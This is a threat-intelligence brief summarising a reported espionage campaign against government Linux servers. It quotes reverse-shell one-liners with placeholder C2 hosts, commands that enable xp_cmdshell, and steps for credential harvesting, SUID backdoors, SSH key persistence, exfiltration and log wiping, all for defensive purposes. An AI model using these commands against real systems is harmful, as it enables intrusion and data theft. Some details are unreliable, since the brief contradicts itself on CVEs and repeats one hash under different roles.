Home › Intelligence › Brief
BREACH BRIEF🟠 High ThreatIntel

AI‑Generated Malware Campaign Hijacks Government Linux Servers for Espionage

Unit 42 identified a campaign that leveraged large‑language‑model‑generated code to infiltrate Linux servers of government entities, exfiltrating databases and mailboxes. The AI‑driven tactics highlight the need for AI‑governance controls and continuous evidence collection for audit readiness.

LiveThreat™ Intelligence · 📅 November 23, 2026· 📰 unit42.paloaltonetworks.com
🟠
Severity
High
TI
Type
ThreatIntel
🎯
Confidence
HIGH
🏢
Affected
3 sector(s)
✅
Actions
3 recommended
📰
Source
unit42.paloaltonetworks.com

AI‑Generated Malware Campaign Hijacks Government Linux Servers for Espionage

What Happened

Unit 42, the threat‑research arm of Palo Alto Networks, disclosed an espionage operation that targeted government agencies and state‑affiliated infrastructure across a six‑month window from October 2025 through April 2026. The campaign, catalogued as CL‑UNK‑1211, was first reported on 15 October 2026 by researchers Roey Porat and Tom Fakterman. Because the actors could not be linked to a specific nation‑state or criminal group, Unit 42 assigned the “UNK” label in line with its attribution framework.

The intruders relied heavily on code generated by large language models, embedding conversational notes and developer‑style reasoning directly into malicious PHP, Bash, Python and JavaScript scripts. Analysts noted section headers, extensive Base64‑encoded commands and seamless language switching as hallmarks of AI‑assisted development. Initial footholds were gained by dropping a mixture of custom and publicly available web shells on Linux servers; one such shell was placed at /usr/lib/php/plesk_sys_driver.php and then forced to load on every request by altering the auto_prepend_file directive in the PHP configurations under /etc/php/ and /opt/plesk/php/.

Once inside, the threat actors harvested credentials by overwriting users’ .bashrc files with a version that redefined the sudo command, prompting for passwords and silently logging them to an attacker‑controlled file. They also injected malicious lines into existing PHP scripts and scanned the network for clear‑text passwords. With the stolen credentials, the group enumerated government mailboxes, dumped entire database contents and attempted to exfiltrate the data to gain access to social‑media accounts linked to official email addresses. Throughout the operation they tried to disable endpoint protection, purge system logs and plant deceptive “red‑team” markers to masquerade the intrusion as a legitimate security assessment.

Palo Alto Networks advises customers that its Advanced WildFire, URL Filtering, DNS Security, IP Defense, Cortex XDR, XSIAM and Cloud services can help mitigate the techniques observed in CL‑UNK‑1211. The company’s Unit 42 AI Security Assessment and Frontier AI Defense services are positioned to identify and counter AI‑enabled threats, and the Unit 42 Incident Response team is available for organizations that suspect compromise.

The stolen password is fed directly into a legitimate sudo call, allowing the attacker to run commands without alerting the user. The malicious log was named Solarwinds.StatusLog.txt to imitate authentic SolarWinds activity, yet investigators found no evidence that any SolarWinds systems or infrastructure were actually breached; the name was simply used as an evasion tactic. Figure 4 illustrates how the attackers hijacked the .bashrc file to insert the command.

A line of PHP was added to a login page—presumably the routine that authenticates against a database—to capture administrator credentials. When an admin logs in, the code forwards the username and password to the attacker‑controlled log file, as shown in the snippet in Figure 5. The intruders also combed through configuration and command‑history files for clear‑text email, SMTP, and database passwords, using a series of grep‑style commands captured in Figure 6.

The campaign deployed a custom Go‑based remote‑access Trojan, dubbed SysGoRAT, first observed under the innocuous filename sys‑control‑client. The RAT runs on both Windows and Linux and maintains persistence through several mechanisms described in Appendix A. It contacts its command‑and‑control server via WebSocket at wss://<addr>/ws, defaulting to the hard‑coded IP 104.194.158.65:443, though the address can be altered with a launch‑time parameter. SysGoRAT accepts seven fixed commands—exec, control, list_dir, shell_input, proxy_connect, proxy_data and proxy_close—as listed in Table 1, and the binary is renamed on each host to blend in (e.g., sys‑control‑client, pip2.7, ea_install, ./semanage).

To avoid leaving artifacts, the attackers launched a suite of in‑memory reverse shells across at least seven C2 servers. The primary method—used on three separate servers—relied on a Netcat‑driven named pipe: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc <C2> <port> >/tmp/f. They also employed Bash TCP redirects (bash -i >& /dev/tcp/[IP]/[PORT] 0>&1) and Python subprocesses that bind a socket to /bin/bash (python3 -c "import socket,subprocess,os; …"). Cortex XDR detected and blocked one such command, as illustrated in Figure 7. For mailbox harvesting, the threat actors enumerated /var/qmail/mailnames/ directories, counted messages in Maildir/cur/, and ran a PHP script search_social.php to locate social‑media‑related emails (Figures 8 and 9). They then attempted to generate a Bash script zip_mails.sh to compress entire mailboxes into ZIP archives, but the script contained syntax errors (e.g., a broken user=\;) that would cause it to fail (Figure 10). Evidence suggests they also planned to exfiltrate multiple databases and other sensitive government data (see Appendix B). Defensive evasion steps included trying to kill Cortex XDR processes with pgrep/pkill (but these attempts were blocked and logged), tampering with logs, timestomping, disguising activity, and deleting single‑use scripts after execution, as shown in Figure 11 and Figure 12.

The intruders altered file timestamps with the touch -t command, back‑dating malicious scripts so their creation dates pre‑dated the intrusion window and thereby obscuring the true timeline for analysts. In several cases they inserted false operational markers—embedding the string RedTeamOps2025 in a script and assigning the password pentest123 to a newly created user—to make the activity appear as a legitimate red‑team exercise.

After exfiltrating data, the threat actors launched an extensive log‑purging routine. They issued shell commands to erase authentication logs, command‑history files, email activity records, operating‑system logs, web‑server logs, and active PHP user‑session files. A subsequent cleanup script, shown in the source figures, ran a second pass to delete any remaining logs and to wipe the /tmp/ directory where the malicious payloads had been staged. The final step involved a verification check to confirm that the IP addresses used during the breach no longer appeared in any system logs.

The campaign blended classic post‑exploitation methods with AI‑driven automation, enabling rapid generation and deployment of scripts while keeping manual effort low. Researchers noted the attackers’ deep Linux expertise, citing techniques such as global PHP configuration hijacking for persistence, command‑line credential harvesting, and privilege escalation via multiple shells. Their toolkit combined open‑source utilities with bespoke components, including a multi‑platform Go RAT and a custom vulnerability scanner identified as CVE‑2025‑55182 (React2Shell). Despite a thorough cleanup strategy aimed at erasing forensic evidence, endpoint defenses proved effective; Cortex XDR intercepted and blocked attempts to terminate its agent process.

Palo Alto Networks leveraged the Cortex Agentic Assistant, powered by Cortex AgentiX, to accelerate analysis and generate actionable recommendations. Updated detection models in Advanced WildFire now flag the disclosed indicators, while Advanced URL Filtering, Advanced DNS Security and Advanced IP Defense identify associated malicious domains and addresses. Cortex XDR’s Analytics Engine raised an “Uncommon attempt to clear shell history” alert when the attackers tried to manipulate shell‑history files, and the combined Malware Prevention Engine in XDR and XSIAM thwarted the malicious activity. Cortex Cloud extends protection to cloud workloads by applying static permission baselines and behavioral context to VM and serverless environments. Unit 42’s AI Security Assessment and Frontier AI Defense services are offered to mitigate similar AI‑enabled threats, and the findings have been shared with Cyber Threat Alliance members. Reported indicators of compromise include SHA‑256 hashes 2bf7992e6260c1a98c709fa98ec766fb9f27692f338b30b43ac821b824fd849e, 27d799ceadb570bfca890d4c2572314afe57eecf14083d30409da15afdfc4704, d73186cea6cf2cf3d48c09139a9d15521365aab675787b4e7a6f81767331c9fd, 9e45830171eb607cf2c0fc80f5cc9cc3db39bb937032136990383a595f6f151e, c527b94e3d21824a674face4cd9d862e536b60ccbf54573839e3360f99188343, and the GSocket reverse‑shell hash 9e45830171eb607cf2c0fc80f5cc9cc3db39bb937032136990383a595f6f151e.

The attackers leveraged the local‑privilege‑escalation flaw CVE‑2021‑4034 (PwnKit) after first deploying the open‑source LinPEAS scanner to enumerate escalation paths on compromised Linux servers. They also dropped a series of renamed binaries to retain root access: a Python 3 interpreter renamed “.libpython‑helper” that runs commands with os.setuid(0) and os.setgid(0); a custom SUID backdoor called “.libsystemd‑helper” that invokes /bin/sh as root; and a copy of /bin/bash named “.tourch” with the set‑uid bit set, allowing any user to execute bash with root privileges.

SysGoRAT, the custom remote‑access trojan used by the group, accepted seven command types and four primary control sub‑actions. The “shell_start” action launched an interactive /bin/bash session, “screenshot” captured the current display, “download” read and optionally gzip‑compressed files for exfiltration, and “persist” installed persistence via one of six methods. Persistence could be achieved on Linux by copying the malware to /usr/local/bin and creating a systemd unit at /etc/systemd/system/sys‑update.service, or by adding a crontab entry that runs every five minutes. On Windows, the malware wrote itself to %APPDATA%\Onedrive Update\Updater.exe and added a Run key, or created a daily scheduled task named “Onedrive”. Two “auto” methods selected the optimal technique based on OS and user permissions, while the “complex” method chose the best option without checking permissions.

For reconnaissance, the actors deployed multiple PHP web shells and custom PHP scripts to scan internal networks for SQL servers, enumerate databases, and list domain objects such as users, computers and open shares. They also ran a Go‑based vulnerability scanner targeting CVE‑2025‑55182 (React2Shell). To move laterally, they enabled xp_cmdshell on MSSQL instances with the commands EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;. Using this capability, they built a double‑hop execution chain: a command issued from a compromised web server invoked xp_cmdshell to run sqlcmd against a second MSSQL host, which in turn executed another xp_cmdshell to run whoami on the target subnet.

The group further bypassed internal firewalls by routing traffic through database features and open‑source proxy tools, and they used sshpass with hard‑coded administrative credentials to pivot across internal SSH hosts. Network traffic associated with the campaign was traced to a set of IP addresses—including 45.88.188.140, 198.23.185.234, 138.68.244.146, 185.21.136.6, 72.61.89.179, 104.194.158.65, 109.224.53.140, 162.243.175.162, 154.93.37.228, 141.164.58.87, 88.80.150.232, 88.119.167.57, 173.212.247.23, 104.248.131.53, 147.182.224.216, 93.93.112.57, and 192.210.183.17—plus domains such as magento.ink, solidmonpe.com, wibu‑bau‑bawang.online, and beraskencur.site.

After gaining a foothold via an SSH session launched with sshpass and a hard‑coded password, the intruders ran a series of post‑pivot commands to deepen their access. They issued id to confirm the user context, read /etc/shadow to harvest password hashes, and used find to locate wp‑config.php files that contain database credentials. Directory listings of home folders and hidden .git repositories were performed to map the server’s contents, and custom PHP scripts were executed over the SSH channel.

To maintain long‑term access, the threat actors injected a malicious SSH public key into the compromised account’s authorized_keys file. The observed command chain first ensured a hidden .ssh directory existed, set its permissions to 700, appended the attacker’s key, and then tightened the authorized_keys file to owner‑only access. This created a password‑less backdoor for future logins.

Persistence and traffic tunnelling were reinforced with several open‑source proxy tools. The group deployed revsocks, a reverse SOCKS5 tunnel that supports SSL/TLS, and pysoxy, a Python‑based SOCKS proxy script. They also abused the Global Socket framework, placing its binary gs‑netcat in /dev/shm/.gs‑10085/ and running it under the forged process names [kcached] and gs‑dbus to mimic legitimate kernel‑cache and D‑Bus threads. Execution parameters were passed via the GSOCKET_ARGS environment variable, and the sessions were launched with HISTFILE=/dev/null to suppress command‑history logging.

Data exfiltration began with small‑scale samples printed to the terminal using echo and TOP clauses, followed by a structured dump of four database tables—each limited to 100 rows—into a temporary SQLite file /tmp/dump.sqlite. The attackers then escalated to full database extraction, writing all rows from the same tables into CSV files, compressing the results with tar and gzip, and attempting to ship the archives to a command‑and‑control server via nc (netcat). To mask the outbound traffic as ordinary HTTPS, they also leveraged curl to upload the compressed payloads to public file‑hosting services such as transfer.sh, bashupload.com, filebin.net, and the catbox.moe API after harvesting WordPress credentials.

Analysts note that while the observed toolset and command sequences reveal a sophisticated, multi‑stage operation, the full extent of compromised infrastructure and any additional exfiltrated assets remain under investigation. Further forensic work is needed to determine whether other persistence mechanisms or lateral‑movement techniques were employed beyond those documented.

Why It Matters for Compliance & Audit Readiness

The use of AI‑generated code lowers the barrier for sophisticated, stealthy attacks on Linux environments, underscoring the need for continuous control assurance, immutable logging, and automated integrity checks across web‑server configurations.

Who Is Affected

Government agencies, state‑affiliated organizations, and any entity running Linux‑based web services or database platforms.

Recommended Actions

  • Harden PHP configurations: remove auto_prepend_file overrides and enforce signed script policies.
  • Deploy endpoint detection that monitors for anomalous WebSocket C2 traffic and in‑memory reverse shells.
  • Implement immutable, centrally‑managed logging with tamper‑evidence and regular audit of .bashrc and credential stores.

Technical Notes

Attack vector: web‑shell deployment, AI‑generated scripts, custom Go RAT, in‑memory reverse shells.

CVEs: none disclosed in the report.

Data types exposed: email mailbox contents, database records, administrative credentials.

Source: https://unit42.paloaltonetworks.com/ai-campaign-targets-linux-infrastructure/

📰 Original Source
https://unit42.paloaltonetworks.com/ai-campaign-targets-linux-infrastructure/ ↗

This LiveThreat Intelligence Brief is an independent analysis. Read the original reporting at the link above.

From the Verisq platform · Trust Operations

Access is where most audits get tested.

Verisq AI Trust Operations maps incidents like this to your access controls and collects the evidence continuously, keeping your trust posture defensible.

See where you'd stand with Verisq AI Trust Operations →